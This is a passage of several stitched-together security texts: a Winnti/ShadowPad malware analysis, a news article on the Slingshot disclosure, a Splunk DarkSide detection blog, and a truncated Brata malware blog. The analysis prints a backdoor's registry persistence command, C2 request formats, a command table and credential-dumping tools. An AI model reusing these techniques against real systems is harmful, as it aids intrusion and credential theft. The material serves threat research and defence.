ShadowPad infrastructure, we came across active servers linked to two domains from the group: www.ertufg[.]com and www.ncdle[.]net. Those servers also had the SSL certificate typical of ShadowPad. In addition, we found ShadowPad samples connecting to those domains. One of the samples had a rather old compilation date, July 2017. However, this time is probably not accurate, because the C2 server for it was registered in August 2018. It can also disguise itself as a Bluetooth Stack component for Windows by Toshiba named TosBtKbd.dll. Here we can make another inference. The domain yandax[.]net initially had a different email address in its WHOIS data: fjknge@yahoo[.]com. The same address was also used to register one of the NetTraveler C2 servers, namely, riaru[.]net. That domain was used for attacks targeting the CIS and Europe. These attacks have been described by Proofpoint researchers. It is also possible that the infrastructure was used by some other group to disguise its activities. However, the scope, targeted countries, and industries all overlap with those of the Winnti group. The connections are indirect and individual in nature, but still provide reason to believe that all these attacks were carried out by the same group. #### 1.2.2. Bisonal On one of the IP addresses on ShadowPad infrastructure, we found domains used in Bisonal RAT attacks in 2015–2020. In addition, we found a Bisonal sample with a direct relationship to the new ShadowPad infrastructure. We came across a presentation made at JSAC 2020 by Hajime Takai, a Japanese researcher with NTT Security. The researcher details an attack on Japanese systems, in which the chain included xDII for downloading Bisonal to the infected computer. Takai links the attack to the Bitter Biscuit campaign described by Unit 42. Bisonal was used in that attack, too. The attack tools found by Takai are almost completely identical to the ones we found on the ShadowPad server. Even some hash sums are identical. Researchers believe that the Bisonal attacks were performed by Tonto Team. The group concentrates its efforts on three countries: Russia, South Korea, and Japan. Its targets include governmental entities, militaries, finance, and industry. All these fall within the area of interests of the Winnti group. And with the new details about Bisonal used together with xDII, plus overlapping network infrastructures, it stands to reason that the Winnti group is behind the Bisonal attacks. ### 1.3. Victims According to the server data, more than 50 computers had been infected. We could not establish the exact location and industry for every infected computer. However, if we match the time of the latest connection of the infected computer to the server and the time we received the file with this timestamp, we can make a map of the timezones. Most countries located in the timezones marked on the map are within the area of interest of Winnti. We were able to identify some of the compromised organizations, including: - A university in the U.S. - An audit firm in the Netherlands - Two construction companies (one in Russia, the other in China) - Five software developers (one in Germany, four in Russia) All victims, both identified and unidentified, were notified by the national CERTs. We have no details about those attacks. However, since ShadowPad was used in supply chain attacks via software developers, and knowing that at least two software developers have been compromised, we are dealing with either a new distribution attempt or an attack that is already in progress. ### 1.4. Activity Activity on the server (such as collection of information from the victims and appearance of new utilities) usually took place outside of the business hours in the victims' timezones. For some, it was evening; for others, early morning. This tactic is typical of Winnti. The group did the same when they compromised CCleaner, as Avast reported. ## 2. Analysis of Malware and Tools Judging by the data we collected, the delivery process in the current campaign looks as follows: - Phishing - ShadowPad - xDII - Bisonal - SkinnyD - Unknown vector - Python backdoor - Utils The compilation time of the malware samples we found corresponds to business hours in UTC+8 timezone (where China and Hong Kong are located). ### 2.1. Analyzing SkinnyD SkinnyD (Skinny Downloader) is a simple downloader: it contains several C2 addresses and goes through them one by one. The next stage is downloaded with a GET request to the C2 server via a special URL address generated according to a format string hard-coded in the malware code. The malware checks the data received from the C2 as follows: - The data size must be more than 0x2800 bytes. - The data must begin with the bytes "4D 5A" (MZ). The downloaded binary file is decrypted with XOR and loaded with PE reflective loading. After the binary file loads, control transfers to the exported symbol MyCode. The malware gains persistence via the key Environment\UserInitMprLogonScript. In the SkinnyD samples we studied, we found an interesting artifact linking it to xDII. This was the string "3853ed273b89687". Since the string is not used by the downloader, perhaps it's a builder artifact. ### 2.2. Analyzing xDII #### 2.2.1. Dropper The dropper is an executable file written in C and compiled in Microsoft Visual Studio. Its compilation date (February 11, 2020, 9:54:40 AM) looks plausible. It contains a payload in the form of the xDII backdoor in the data section. The dropper extracts 59,392 bytes of data and attempts to write this to one of two paths: - %windir%\Device.exe - %windir%\system32\browseui.dll Next, it copies itself to the directory %windir%\DeviceServe.exe and creates a service named VService, thereby ensuring auto-launch as a service. When the service runs, it creates a separate thread for running the payload. We should note that there is no option to launch a different payload variant in the form of a DLL library (browseui.dll). #### 2.2.2. xDll Backdoor The backdoor is a file written in C++ and compiled in Microsoft Visual Studio using the MFC library. It also has a plausible compilation date of February 10, 2020, 6:14:37 PM. It creates a separate thread in which all actions take place. It starts by scouting the system and collects the following information: - Computer name - IP address - OEM code page - MAC address (used later on to calculate the MD5 hash sum for C2 interactions) - OS version - The preset identifier "sssss" (probably characteristic of this particular version of the backdoor) - Whether the user is an admin - Whether it is in a virtual environment - Domain and username - CPU - RAM - System language Next, the backdoor decrypts C2 server addresses. In this case, there are two, but they are identical: www.oseupdate.dns-dns.com. The backdoor body contains a third address (127.0.0.1), which is replaced with the decrypted one. When the C2 server address is obtained, a GET request will be sent, with its format as follows: hxxp://{host}:{port}/{uri}?type=1&hash={md5}&time={current_time}. Request parameters are: - host (C2 address) - port (port 80) - uri (string "news.php") - md5 (hash sum of the MAC address, which is probably the victim's identifier) - current_time (current system time) The expected server response is the character "1". If that response is received, a POST request is sent with basic system information in JSON format: - Hash sum of the MAC address - Computer name - IP address - OS version - Domain name - Preset identifier "sssss" - OEM code page We should note that the JSON format used is incorrect. In addition, the value of the In_IP field is missing. Perhaps it was expected that both the internal and external IP addresses would be determined. But logic for determining the external address was not yet implemented in this variant of xDII. Another tell-tale detail is the value ("post_info") of the Referer HTTP header. In addition, a different value is selected for the User-Agent HTTP header. Next comes the loop for processing C2 commands. For that purpose, the backdoor sends a GET request in a format matching the one described earlier. The only difference is that "type" parameter value is now "2" instead of "1": hxxp://{host}:{port}/{uri}?type=2&hash={md5}&time={current_time} The expected server response is a lowercase Latin letter (from a to z). The following table shows commands and the corresponding actions: - c: Collect and send information about connected volumes - d: Collect and send contents of directory - e: Receive a file from the server, save it to the system, and report success - f: Run the indicated ShellExecuteA and report success - g: Delete the indicated file with ShellExecuteA and report success - h: Upload the indicated file to the server - j: Collect and send a list of system processes - k: End the indicated process and report success - l: Execute the command with cmd.exe and send the output - m: Continue communicating with cmd.exe and run further commands - n: Collect and send a list of system services - o: Send all information collected during reconnaissance - q: Same as d - u: Start all communication with C2 again Successful execution of some commands requires additional data. For instance, downloading a file from the server (the "e" command) requires indicating the file name. In this case, the server provides that name after a comma. For instance, "e,dangerous_file.txt". Next, the file is requested and its content is returned. Then a report indicating successful download is sent. Notice again the idiosyncratic value of the "Referer: upfile" field, the type of transmitted data (image/pjpeg), and the name of the transmitted file: {md5}.gif (using the hash sum of the MAC address). When the command for collecting the directory listing (the "d" command) is processed, the delineator is not a comma. Instead, the path to the catalog is expected to start from the second character, for instance: "d|C:\Users". The data is transmitted in JSON format, and this time the format is correct. The following example shows sending information obtained from system analysis (the "o" command). The data is submitted in JSON format again, but with fewer keys. However, in some cases, when a brief report is sufficient, the information may be transmitted in plain text. ### 2.3. ShadowPad As mentioned, we found some public directories on one of the xDll servers, and one of those directories contained ShadowPad. We found no significant differences from earlier versions, therefore the following is only a brief analysis of the new version. #### 2.3.1. ShadowPad Loader and Obfuscation The first stage is decryption of the shell code responsible for installing the backdoor on the system. The shellcode is decrypted with an XOR-like algorithm, which modifies the encryption key at each iteration with arithmetic operations with certain constants. After decryption, control transfers to the loader, which features a characteristic type of obfuscation. We already saw this type of obfuscation in previous versions of ShadowPad. Certain bytes are inserted in various sections of the code pre-marked with two opposite conditional jumps pointing to the same address. To do away with this obfuscation, the indicated bytes must be replaced (with the "nop" opcode, for instance). After the addresses of the API functions are received and the required code is placed in memory, control passes to the backdoor installation stage. #### 2.3.2. ShadowPad Modules Like the previous versions, this backdoor has a modular architecture. By default, the backdoor includes the following modules: - Root: ID 5E6909BA, Compilation time GMT: Wednesday, 11 March 2020, 15:54:34 - Plugins: ID 5E69097C, Compilation time GMT: Wednesday, 11 March 2020, 15:53:32 - Online: ID 5E690988, Compilation time GMT: Wednesday, 11 March 2020, 15:53:44 - Config: ID 5E690982, Compilation time GMT: Wednesday, 11 March 2020, 15:53:38 - Install: ID 5E69099F, Compilation time GMT: Wednesday, 11 March 2020, 15:54:07 - DNS: ID 5E690909, Compilation time GMT: Wednesday, 11 March 2020, 15:51:37 The identifiers of these modules remain unchanged from version to version; they, too, are installed and run in a separate thread via the registry. Module compilation times can be found in the auxiliary header that comes before the shellcode. A typical feature of any copy of ShadowPad is encryption of the strings in each module. The encryption algorithm is similar to the one used for backdoor decryption. The only difference is in the constants used for key modification. The method of calling some API functions in ShadowPad modules is somewhat interesting. Some copies of the malware calculate the function address for each time a function is called. In addition, addresses of the functions to be called can be obtained via a special structure. Loading addresses for libraries are obtained based on the values of the structure members, to which the offsets of the required API functions are then added. For persistence, the backdoor copies itself to C:\ProgramData\ALGS\ under the name Algs.exe and creates a service with the same name. The malware proceeds to launch a new svchost.exe process, which it injects with its own code and then gives control. #### 2.3.3. ShadowPad Configuration In all samples of the backdoor, the configuration is encrypted. The Config module is responsible for operations with it. Configuration is a sequence of encrypted strings, in which each string follows the previous one without any zero padding or alignment. The configuration is encrypted by the same algorithm as the strings. #### 2.3.4. Network Protocol The format of the packets used in all ShadowPad versions has remained unchanged. For the packets sent to the server, the packet body and the packet header are generated separately. After they are concatenated (without any padding), the packet is covered with an encryption algorithm with logic close to that of the algorithms used for decrypting the main module and the strings inside the backdoor. ### 2.4. Python Backdoor This backdoor we found on the server was in py2exe format. The backdoor is written in Python 2.7 and contains configuration variables in the beginning. Three commands can be executed remotely: - CMDCMD: execute via cmd.exe - UPFILECMD: upload the file to the server - DOWNFILECMD: download the file from the server The ONLINECMD command is executed by the backdoor right after launch. This is a command for collecting system information and sending it to the server. The backdoor has a function for gaining persistence via the registry: ``` reg add "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "startup" /d "c:/Windows/system32/idles.exe" ``` After gaining persistence and collecting system information, the malware packs the data and uploads it to the C2 server. Interaction with the server is via TCP sockets: ``` socket.socket(socket.AF_INET, socket.SOCK_STREAM) ``` Certain values are added in before the data is sent; then the data is compressed with ZLIB and encoded in Base64. ### 2.5. Utilities Among our finds on the server were utilities for lateral movement. Most of those are open-source ones available on GitHub. They were initially written in Python but converted to PE. The server had the following utilities: - Utilities to check for and exploit vulnerability MS17-010 - LaZagne for gathering passwords - get_lsass for dumping passwords on x64 systems - NBTScan - DomainInfo for collecting domain information The hackers tweaked the functionality of the MS17-010 utility by adding the ability to check an entire subnet. Network scanning is performed out of sequence, which may throw defenders off the scent. In addition, the scan will skip addresses with 1 and 2 in the final octets, because such addresses very rarely belong to user computers. Another utility of note on the server collects information about the domain of the target computer. The information includes the following: - Computer name - Names of computer users, divided into groups - Domain name - Name of the current user's group - Names of the groups on the domain - Names of users in each group All this information is collected in a legitimate way via the API functions of library Netapi32.dll and saved to the utility directory in XML format. Interestingly enough, the utility was compiled in 2014 with Microsoft Visual Studio 2005 and has the PDB "e:\Visual Studio 2005\Projects\DomainInfo\Release\Domain05.pdb". ## Conclusion We have analyzed the infrastructure of the Winnti group and conclude that it has been active since early 2019. Currently, this infrastructure is growing, which means Winnti is active. According to our information, the group has already compromised over 50 computers, and some of those may serve as a staging ground for subsequent, more serious attacks. The group has added new malware to its arsenal, such as SkinnyD, xDll, and a Python backdoor. We found important connections between the current Winnti infrastructure and other large attacks in which the group may have been directly involved. The observed spike in the group's activity may be related to the coronavirus pandemic. Many companies have switched employees to working from home and, as shown by our data, 80 percent of employees use their personal computers for work. The result is that many employees are currently not protected by corporate security tools and security policies. This makes them an easy target.
# Kaspersky's 'Slingshot' Report Burned an ISIS-Focused Intelligence Operation The U.S. government and Russian cybersecurity giant Kaspersky Lab are currently in a legal fight that comes on top of a long-running feud over how the company has conducted itself regarding U.S. intelligence-gathering operations. A recent Kaspersky discovery may keep the feud alive for years to come. CyberScoop has learned that Kaspersky research recently exposed an active, U.S.-led counterterrorism cyber-espionage operation. According to current and former U.S. intelligence officials, the operation was used to target ISIS and al-Qaeda members. On March 9, Kaspersky publicly announced a malware campaign dubbed “Slingshot.” According to the company’s researchers, the campaign compromised thousands of devices through breached routers in various African and Middle Eastern countries, including Afghanistan, Iraq, Kenya, Sudan, Somalia, Turkey, and Yemen. Kaspersky did not attribute Slingshot to any single country or government in its public report, describing it only as an advanced persistent threat (APT). But current and former U.S. intelligence officials tell CyberScoop that Slingshot represents a U.S. military program run out of Joint Special Operations Command (JSOC), a component of Special Operations Command (SOCOM). The complex campaign, which researchers say was active for at least six years, allowed for the spread of highly intrusive malware that could siphon large amounts of data from infected devices. Slingshot helped the military and intelligence community collect information about terrorists by infecting computers they commonly used, often located within internet cafés in developing countries. ISIS and al-Qaeda targets would use internet cafés to send and receive messages, the sources said. These officials, all of whom spoke on condition of anonymity to discuss a classified program, fear the exposure may cause the U.S. to lose access to a valuable, long-running surveillance program and put soldiers’ lives at risk. The disclosure comes at a difficult time for Kaspersky. The company is currently fighting the U.S. government in court after the government claimed that the Moscow-based company’s software poses a national security risk due to the company’s Russian government ties. Kaspersky has consistently denied any wrongdoing. CyberScoop’s reporting of JSOC’s role in Slingshot provides the first known case of a SOCOM-led cyber-espionage operation. The command is better known for leading physical missions that place elite soldiers on the ground in hostile territories. Over the last decade, SOCOM has been instrumental in the Global War on Terror, having conducted many sensitive missions, including the one that killed former al-Qaeda leader Osama bin Laden. Slingshot, CyberScoop has learned, is a complement to JSOC’s physical missions. A former intelligence official told CyberScoop that Kaspersky’s findings had likely already caused the U.S. to abandon and “burn” some of the digital infrastructure that JSOC was using to manage the surveillance program. “SOP [standard operating procedure] is to kill it all with fire once you get caught,” said the former intelligence official. “It happens sometimes and we’re accustomed to dealing with it. But it still sucks … I can tell you this didn’t help anyone.” ## SOCOM Has Hackers? While not an intelligence agency by nature, SOCOM has dabbled in cyber-operations — known inside the unit as “special reconnaissance” — for some time, according to multiple academics who have examined the use of offensive cyber tools within special operations units. Most of these operations would usually combine elements of human (HUMINT) and signals intelligence (SIGINT) to catch terrorists. As the Global War on Terror grew, most combatant commands took visible steps and received considerable funding to build out their own espionage capabilities. One of the military organizations that benefited most from this explosive growth in resources was SOCOM, a unit that many describe as the “tip of the spear” when it comes to military operations. “Many units within SOCOM possess independent cyber capabilities,” a senior U.S. intelligence official told CyberScoop. Throughout the past decade, SOCOM has used cyber operations in a very ad hoc manner. If cyberwarfare was used in an operation, SOCOM has either been given support from U.S. Cyber Command or relied on smaller squadrons within various units. For instance, a group of hackers organized under the name “Computer Network Operations Squadron” (CNOS) were known to operate within JSOC command circa 2007. Though headquartered in Northern Virginia, CNOS helped coordinate missions where on-the-ground agents in the Middle East — and sometimes undercover operatives — would infiltrate internet cafés and local telecommunications firms. The squadron was first written about in “Relentless Strike: The Secret History of Joint Special Operations Command,” a book by journalist Sean Naylor. Naylor wrote that CNOS staff could be stationed around the world, including at Fort Meade in Maryland and CIA’s Langley, Virginia, headquarters. CNOS had close connections to CIA, blurring the already fuzzy line between U.S. intel and military organizations. In one case mentioned by Naylor’s book, CNOS infected a terrorist’s computer with “keystroke recognition [software]; at other times it would covertly activate a webcam if the computer had one, allowing the task force to positively identify a target.” The Slingshot program found by Kaspersky had similar capabilities. SOCOM’s exclusive structure provides an easy way to leverage long-standing intelligence programs, since it is permitted to quickly organize and deploy forces globally wherever defined rules of engagement exist. Teams like CNOS, as described by Naylor, are usually able to work closely with intelligence agencies in foreign, undefined war-zones after receiving approval from the appropriate regional combatant commands and Pentagon. JSOC and CIA have a history of working together and when combined, meet a similar profile to how Slingshot would be utilized. “The military kept CNOS in JSOC ‘because we want it to operate in areas that are not necessarily … where we’re currently at war’ … we want it to operate around the globe [pursuing] national objectives,” a passage in Naylor’s book, citing an unnamed military intelligence officer, reads. “[CNOS] was how the pesky networks were broken in Iraq.” ## Slingshot’s Ties to Spies One Kaspersky researcher involved with the Slingshot report said the malware campaign illustrated one of the most skilled and sophisticated hacking operations ever to be publicly documented. Its creators took numerous steps to hide their identity and purpose, making Slingshot extremely difficult to study, explained Kurt Baumgartner, a principal security researcher with Kaspersky. Baumgartner, a U.S. citizen, did not author the Slingshot report. Instead, a team of four researchers based overseas, largely in Russia, are credited with writing it. “It is one of the most technically sophisticated groups we’ve ever seen,” said Baumgartner. “Most of the code is entirely unique, meaning that no one has ever seen it before … the only overlap we’ve seen, and I think there are people already discussing it, is there’s some limited similarities maybe to Equation Grayfish and White Lambert.” “Grayfish” is a software implant associated with the “Equation Group,” an entity that is widely attributed to the National Security Agency. The “Lamberts,” another group identified and first catalogued by Kaspersky, has been separately linked to the CIA. Hacking tools tied to past Equation Group and Lambert-inspired operations were written in English, just like Slingshot. Akin to Grayfish and Lamberts, Slingshot used a distinct software driver abuse technique to install malicious code onto targeted systems. They are the only three documented APTs to use this exact same driver abuse method. Broadly speaking, Kaspersky’s ability to identify even the most advanced malware variants is well-documented, especially within the highly competitive cybersecurity community. Most of these cases are handled by Kaspersky’s heralded Global Research & Analysis Team (GReAT). The Russian company is known for employing some of the best reverse malware engineers and analysts in the entire industry. It also has a vast business presence in the Middle East. Slingshot was discovered through the company’s work in that region. A source close to Kaspersky Lab told CyberScoop that while some researchers may have thought Slingshot was the work of a “Five Eyes” nation — a term used to describe an intelligence alliance between Australia, Canada, New Zealand, the United Kingdom, and the U.S. — they couldn’t have known for sure. This source told CyberScoop that the Kaspersky researchers lacked context because there’s “only so much that can be gleaned from technical evidence.” Questions sent to the Russian company regarding if they knew about Slingshot’s U.S. military origin went unanswered. Even so, a cursory review provides some tips that Slingshot may be linked to U.S. spies. The malware is comprised of individual modules, each carrying a different title, like “Gollum,” “Cahnadr,” or “NeedleWatch,” according to Kaspersky. A leaked NSA memo released in 2015 describes Gollum as a “partner implant” used by another agency aside from NSA. The memo, circulated between Five Eyes nations, talks about the need to create an accessible data pipeline that pulls information from infected computers where an active implant is hidden. In addition to “Gollum,” the way Slingshot exploits routers made by Latvian company Mikrotik could perhaps be traced back to another spy agency: the CIA. Classified documents published by WikiLeaks as part of the so-called “Vault 7” dump show that the CIA has been interested in compromising Mikrotik equipment since at least 2015. Mikrotik products are popular in the Middle East and Southeast Asia. Spokespeople for the Office of the Director of National Intelligence, NSA, and Special Operations Command (SOCOM) all declined to comment. ## Adding Fuel to the Fire CyberScoop spoke with several U.S. cybersecurity researchers who said they weren’t surprised or angered by the fact that Kaspersky had potentially publicized a U.S. cyber-espionage operation. These experts, who asked for anonymity because they feared blowback for speaking publicly, said that it’s only natural for Kaspersky to attempt to stop cyberattacks aimed at its clients. Others who spoke to CyberScoop, however, including current U.S. officials, said they were angry because publicly disclosing Slingshot may put lives in danger. Complicating the matter is the lawsuit Kaspersky has filed against the U.S. government. The 2018 National Defense Authorization Act banned the use of Kaspersky products across the federal government. Kaspersky charges that the ban is unconstitutional. The ban comes after numerous reports that the company’s anti-virus engine was leveraged by Russian spies to remotely pilfer secret U.S. documents on systems where the software was installed. In response, Kaspersky launched a transparency effort in October 2017, which it says proves its products are not malicious. At the moment, it’s not clear if the Russian company expected that its focus on Slingshot would eventually expose a sensitive U.S. counterterrorism initiative. A senior U.S. intelligence official claimed that it would be hard to believe that Kaspersky was totally unaware of what it was handling. “It’s clear by the way they wrote about this that they knew what it was being used for,” said the senior official. “GReAT is extremely adept at understanding the information needs of different actors out there on the internet. They take into consideration the geopolitical circumstances; they’ve shown that time and time again. It would be a stretch for me to believe they didn’t know what they’re dealing with here.” Greg Otto contributed to this report.
# The DarkSide of the Ransomware Pipeline **By Splunk, May 11, 2021** **Authors and Contributors:** Mick Baccio, Ryan Kovar, Marcus LaFerrera, Michael Natkin, John Stoner, and Bill Wright. If you want to quickly find out how to use Splunk to find activity related to the DarkSide Ransomware, skip to the “Detection and Remediation of DarkSide” section. Otherwise, read on for a quick breakdown of what happened to the Colonial Pipeline, how to detect the ransomware, and view MITRE ATT&CK mappings. ## Introduction to the Colonial Pipeline Ransomware Attack It might be more expensive for you to take that Great American Road Trip this summer because filling up the tank of the Family Truckster may cost you some serious Dogecoin. Late on Friday, May 7th, one of the US’s largest gasoline pipelines was preemptively shut down by operator Colonial Pipeline because their corporate computer networks were affected by Ransomware-as-a-Service authored and maintained by the group DarkSide. This 5500 mile pipeline transports about 45% of the East Coast’s fuel supplies, and at the time of this blog, Colonial Pipeline had not returned to full operation. The ransomware did not directly cause the pipeline to shut down; rather, Colonial shut down operations voluntarily out of an abundance of caution. Until they can be sure that the adversary leveraging the DarkSide ransomware for the attack does not have the ability to affect operations, the pipeline will remain dry. Colonial is hoping to get the pipeline back to operation by the end of this week. Regardless of how all of this plays out, what Splunk customers want to know is how to detect and mitigate DarkSide ransomware, especially if they work in critical infrastructure. In fact, last year CISA released an alert about ransomware targeting pipeline operators, so we know this is a big deal. They just updated it today with new alert guidance (AA21-131A) specific to DarkSide. After review, we’re happy to find that the behavior of this ransomware isn’t particularly novel, and all of the guidance we’ve shared for years on ransomware detection and mitigation applies. Let’s review that guidance and update it where appropriate. ## What You Need to Know One of the last significant ransomware events was the Ryuk ransomware at the end of October 2020; however, our specialists pointed out that Ryuk wasn’t particularly novel in terms of its operation. Our Threat Research team also posted about detecting the Clop ransomware last month and recently updated further. Is the DarkSide variant of ransomware more interesting than either of these? No, it isn’t! However, there’s significant worldwide interest because of the target chosen. We also see these “affiliate” actors attempt a “double extortion” where not only have they encrypted critical business data, they’re also threatening to release it publicly if additional ransom is not paid. DarkSide also contains a killswitch if it detects a Russian language environment. There are also reports that the ongoing global pandemic has made infections like this easier because operational staff may be working from home, broadening the attack surface. However, this is not new, as remote access for Operational Technology (OT) networks is commonplace and long predates the pandemic. ## Splunk & Ransomware: Not Our First Rodeo As we’ve stated, this blog ain’t the first time we’re covering our approach to Ransomware. Feast your eyes on the following corpus of material from days of yore: - .conf talks and videos - Splunking the Endpoint 2016: Ransomware Edition! and Video - How Splunk Can Help You Prevent Ransomware From Holding Your Business Hostage - Windows Ransomware Detection with Splunk (1 of 6) – Vulnerability Detection and Windows Patch Status - Detections Blogs - Clop Ransomware Detection: Threat Research Release, April 2021 - Ryuk and Splunk Detections Splunk Blogs - Detecting Ryuk Using Splunk Attack Range - Whitepaper - Splunk Security: Detecting Unknown Malware and Ransomware - Phantom Responses - Automate Your Response to WannaCry Ransomware - Playbook: Detect, Block, Contain, and Remediate Ransomware - Machine Learning Method - Detect Ransomware in Your Data with the Machine Learning Cloud Service - Operationalizing Detections - Operationalize Ransomware Detections Quickly and Easily with Splunk Also, looking for some fun Ransomware eye-candy to survey the kinds of infections rampant within the US over the past several years? Check out this interactive map from Statescoop. ## Detection and Remediation of DarkSide Using Splunk As regular readers of our blogs will expect, we normally fill this section with TTPs pulled from the zero-day or possibly a breakdown of a new malware variant. But, after reviewing the last six to seven years of content that Splunk has created, we are again proud to say we already have you covered. In the list of detections below, you will notice that we did not break out IOCs. As David Bianco has pyramidized in the past, IOCs are ephemeral and change often! I recommend working with a threat intel provider for any low-level IOCs like hashes or IPs. Throw them into a Lookup table or ES threat intel framework, and off you go! If you don’t have a threat intel provider, start skimming Twitter for some tremendous open-source lists. The fine folks at CyberReason have a detailed walkthrough of how DarkSide behaves after the initial foothold. From a Splunk detection perspective, here are some things we suggest collecting: - Process execution logs, from our favorite Windows Security 4688 events, or Sysmon EventCode 1, or any commercial EDR, are key to detection of the parent/child process relationships involved in actions on intent and lateral movement as well as the deletion of Volume Shadow Copies. - PowerShell Script Block Logging is also critical, so that you can detect certain modules like WebClient.DownloadFile being used where you don’t expect, as well as the use of encoded PowerShell. - Windows System events, so that you can detect Scheduled Tasks being created and enabled (4698, 4700). And as always, unusual network connections from servers and endpoints (can be accomplished via firewall, proxy, Sysmon EventCode 3, or EDR logs) and DNS query logging will be helpful. ## Splunk Security Essentials In case you are unaware (or living under a rock for the last two years), Splunk Security Essentials is the place to get Splunk’s security content. Since our last-go round with Ryuk, we’ve updated Splunk Security Essentials and made it a fully-supported Splunk product (but it’s still free!). When you boot up the app, navigate to “Security Content Library,” and search for Ransomware, you get a plethora of content! ## Know Thyself While we have spent some time explaining this attack and effort needs to be put toward investigating this, it is also important to note that the basics are important. Basic asset management, hopefully via your asset and identity framework, will tell you where your vulnerable systems reside. Running regular vulnerability scans that integrate into Splunk will display which systems are vulnerable and can help you prioritize your patching schedule and better focus your detection efforts. ## Threat Intelligence Framework If you are using Splunk Enterprise Security (ES), many organizations are posting IOCs that can be ingested easily into the threat intelligence framework. Perhaps you aren’t sure how to do that? No worries, we published some guidance and a how-to on integrating lists of IOCs into the Enterprise Security threat intelligence framework. We won’t be publishing a list of IOCs along with this blog as they are quite ephemeral, but use of the Threat Intelligence Framework (or standard lookups within Splunk) will allow you to easily perform IOC matching. ## Enterprise Security Content Updates (ESCU) For folks using ESCU, our Splunk Threat Research team will release a new Splunk Analytic Story called Darkside Ransomware by the end of this week containing detections for this threat. If you have ESCU running today, you already have some great coverage! ## MITRE ATT&CK Reviewing one of the first blog posts on DarkSide Ransomware from Digital Shadows in September 2020, we extracted their MITRE ATT&CK tactics and then linked to Splunk Content to help you hunt for that information. Be aware; these searches are provided as a way to accelerate your hunting. We recommend you configure them via the Splunk Security Essentials App. You may need to modify them to work in your environment! Many of these searches are optimized for use with the tstats command. Finally, as more information becomes available, we will update these searches if more ATT&CK TTPs become known. ### ATT&CK Technique | Technique | Technique/Sub-Technique | Splunk Searches | |-----------|-------------------------|------------------| | T1098 | Account Manipulation | AWS IAM Failure Group Deletion, AWS IAM Successful Group Deletion, AWS IAM Delete Policy, Setting Credentials via DSInternals modules, Assessment of Credential Strength via DSInternals modules, Illegal Management of Active Directory Elements and Policies via DSInternals modules, Probing Access with Stolen Credentials via PowerSploit modules | | T1059.001 | PowerShell | Any Powershell DownloadFile, Malicious PowerShell Process With Obfuscation Techniques, Nishang PowershellTCPOneLine, Set Default PowerShell Execution Policy To Unrestricted or Bypass, Any Powershell DownloadString, Malicious PowerShell Process - Connect To Internet With Hidden Window, Malicious PowerShell Process - Execution Policy Bypass | | T1548 | Abuse Elevation Control | Illegal Privilege Elevation via Mimikatz modules, Applying Stolen Credentials via Mimikatz modules, Illegal Privilege Elevation and Persistence via PowerSploit modules, Applying Stolen Credentials via PowerSploit modules | | T1078 | Valid Accounts | AWS SAML Access by Provider User and Principal, Cloud Provisioning Activity From Previously Unseen City, Cloud API Calls From Previously Unseen User Roles, Cloud Provisioning Activity From Previously Unseen Country, Cloud Provisioning Activity From Previously Unseen IP Address, Cloud Provisioning Activity From Previously Unseen Region, AWS SAML Update identity provider | | T1490 | Inhibit System Recovery | BCDEdit Failure Recovery Modification, WBAdmin Delete System Backups, Resize ShadowStorage volume, Deleting Shadow Copies | | T1087 | Account Discovery | Assessment of Credential Strength via DSInternals modules, Reconnaissance and Access to Accounts Groups and Policies via PowerSploit modules, Reconnaissance and Access to Accounts and Groups via Mimikatz modules, Reconnaissance and Access to Computers and Domains via PowerSploit modules | | T1057 | Process Discovery | Reconnaissance and Access to Processes and Services via Mimikatz modules, Reconnaissance and Access to Operating System Elements via PowerSploit modules | | T1569 | System Services | Illegal Service and Process Control via PowerSploit modules, Illegal Service and Process Control via Mimikatz modules | | T1486 | Data Encrypted for Impact | AWS Detect Users with KMS keys performing encryption S3, AWS Detect Users creating keys with encrypt policy without MFA, High Process Termination Frequency, Ransomware Notes bulk creation, Samsam Test File Write, Ryuk Test Files Detected | | T1055 | Process Injection | Reconnaissance of Process or Service Hijacking Opportunities via Mimikatz modules, Suspicious DLLHost no Command Line Arguments, Illegal Service and Process Control via PowerSploit modules, DLLHost with no Command Line Arguments with Network, Illegal Service and Process Control via Mimikatz modules, Cobalt Strike Named Pipes, Trickbot Named Pipe, Suspicious GPUpdate no Command Line Arguments, Suspicious SearchProtocolHost no Command Line Arguments | ## Conclusion We know that such a publicly visible example of the impact of Ransomware can stoke visceral fear, but we’ve got your back. Hopefully, these searches, blogs, videos, conference papers, and whitepapers will provide you the ability to have more visibility into your environment and any malicious activity that you might be experiencing. If they don’t work perfectly, think of them as “SplunkSpiration.” As soon as we have more information, we will update this blog and, as we talked about earlier, be on the lookout for some more detailed info about DarkSide and an Analytic Story delivered via ESCU from our Splunk Threat Research team.
# Brata - A Tale of Three Families **04 August 2022** ## Intro The infosec community has a long and undeniably bad record when it comes to naming malware families. This problem is often joked about among researchers: in 2022, this issue was evident with many malware families, like Anatsa, being known also as TeaBot or Toddler, and Cabassous, known also as Flubot. It is rare for different malware families to share the same name. However, ThreatFabric believes this is the case for what has been referred to as Brata. We believe that what has been categorized as Brata is instead a conglomerate of three different families: Brata, AmexTroll, and Copybara. For the first time, we observed AmexTroll expanding its focus from targeting only a few institutions in Italy to featuring almost 50 different targets among British and Australian institutions. ## The Brata Saga The first appearance of this name dates back to the middle of 2019 when this malware family was reported to abuse a CVE in the popular instant messaging application WhatsApp to target victims in Brazil. This malware family was capable of keylogging data from victims’ devices thanks to Accessibility Service abuse, like most modern malware families. This campaign lasted about six months, and no new samples of this family were observed after the end of 2019. After these events, there was no mention of this malware family until the end of 2021, when reports of a new strain of Brata targeting Italy started circulating. These reports mentioned two new variants of Brata, active in Europe, specifically in Italy, with many new features and modus operandi. According to the research published, the two variants were supposed subsequent iterations of the same malware family. However, ThreatFabric observed these two families being distributed simultaneously and through different channels throughout the first half of 2022. We also believe these two families to be different in implementation and scope, possibly operated by different actors. This is why we do not refer to these families by the name Brata, but with two separate names: AmexTroll and Copybara. The confusion within the infosec community and financial institutions about AmexTroll and Copybara, and their alleged connections with Brata, pushed us to create this blog. These two families share a few similarities, which led to this mistake in categorization. Additionally, some leaked messages from the author of AmexTroll allegedly connect him to the development of the original Brata. However, the differences are evident and substantiate the need to differentiate between the two, despite the possibility of having the same threat actor behind them. ## Similarities ### Basic 4 Android (B4A) The two malware families share a few similarities in their overall design and development. Apart from both being Android bankers, the most obvious commonality is the tools used for their development. Android natively supports two languages, Java and Kotlin. By using the JNI (Java Native Interface), developers can also interact with code written in C/C++, via a system of shared libraries. The majority of Android malware is developed using a combination of these two approaches. However, for both AmexTroll and Copybara, the 